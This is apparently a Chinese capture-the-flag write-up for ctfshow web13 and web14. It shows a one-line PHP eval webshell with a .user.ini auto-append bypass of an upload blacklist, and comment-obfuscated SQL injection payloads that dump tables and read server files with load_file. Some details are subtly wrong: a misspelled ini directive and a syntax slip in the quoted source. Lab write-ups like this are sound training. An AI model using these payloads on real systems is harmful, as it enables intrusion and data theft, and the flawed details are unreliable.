ctf_web

ctfshow

web13

访问题目链接

一看是一道文件上传题，上传文件进行测试

上传php会显示 error suffix 因此推测会检测格式

当文件字数超出一定字数时，显示 error file zise

常规操作就是访问 .php.bak 、.phps 、.swp等文件，看看有没有源码泄露

这道题访问 upload.php.bak 成功获取到了php源码

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功！";
	}else{
		echo "文件上传失败！";
	}

 ?>

检测了文件的大小、文件名长度、后缀名长度、黑名单限制了php后缀名和文件名

上传的文件会在本目录

对于限制了长度小于24的情况，用最简单的一句话马符合条件（23个字符）

<?php eval($_GET['c']);

对于限制了上传文件的类型，由于此题使用黑名单限制了php，但是没有限制其他三个字符后缀名的文件。

因此我们可以上传用户配置文件 .user.ini

原理参照：https://blog.csdn.net/cosmoslin/article/details/120793126

auto_apend_file="t.txt"

然后上传一个test.php，里边写上面提到的最简单一句话

此时此目录下所有php文件执行前都会包含txt文件的内容（在文件最后包含）

注意：由于限制文件内容长度，所以文件名不能写太长（配置文件内容会超出长度）

成功调用 phpinfo 函数

使用 print_r(scandir('.')); 获得一个包含本目录下所有文件的数组。

使用 highlight_file(“”) 查看可疑文件

得到flag

web14

尝试数字小的，输入3时，提示了另一个页面

是个查询框，推测有sql注入

发现会过滤空格，尝试 注释绕过，成功

order by 子句爆列数

?query=-1/**/or/**/true/**/order/**/by/**/2

发现只有一列

union爆库名

?query=-1/**/union/**/select/**/database()

爆版本

爆表（这里的informaiton_schema里的表名要带上反引号进行绕过，题目过滤了 informaiton_schema.tables）

-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

后来发发现爆了一堆白爆了……..

根本就不是这么做。

仔细一想，题目提示要看题目的源码，且又是sql注入

那么——load_file()函数

使用load_file的前提：

1. my.cfg(或者ini)里secure_file_priv的值（其他地方查去吧）
2. 绝对路径已知（/var/www/html）

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

页面没反应

查看一下源码

看这段代码好像还需要满足一个条件，实际上已经把flag 的真实路径指出来了，就在根目录下，用load_file再读一下就好

得到flag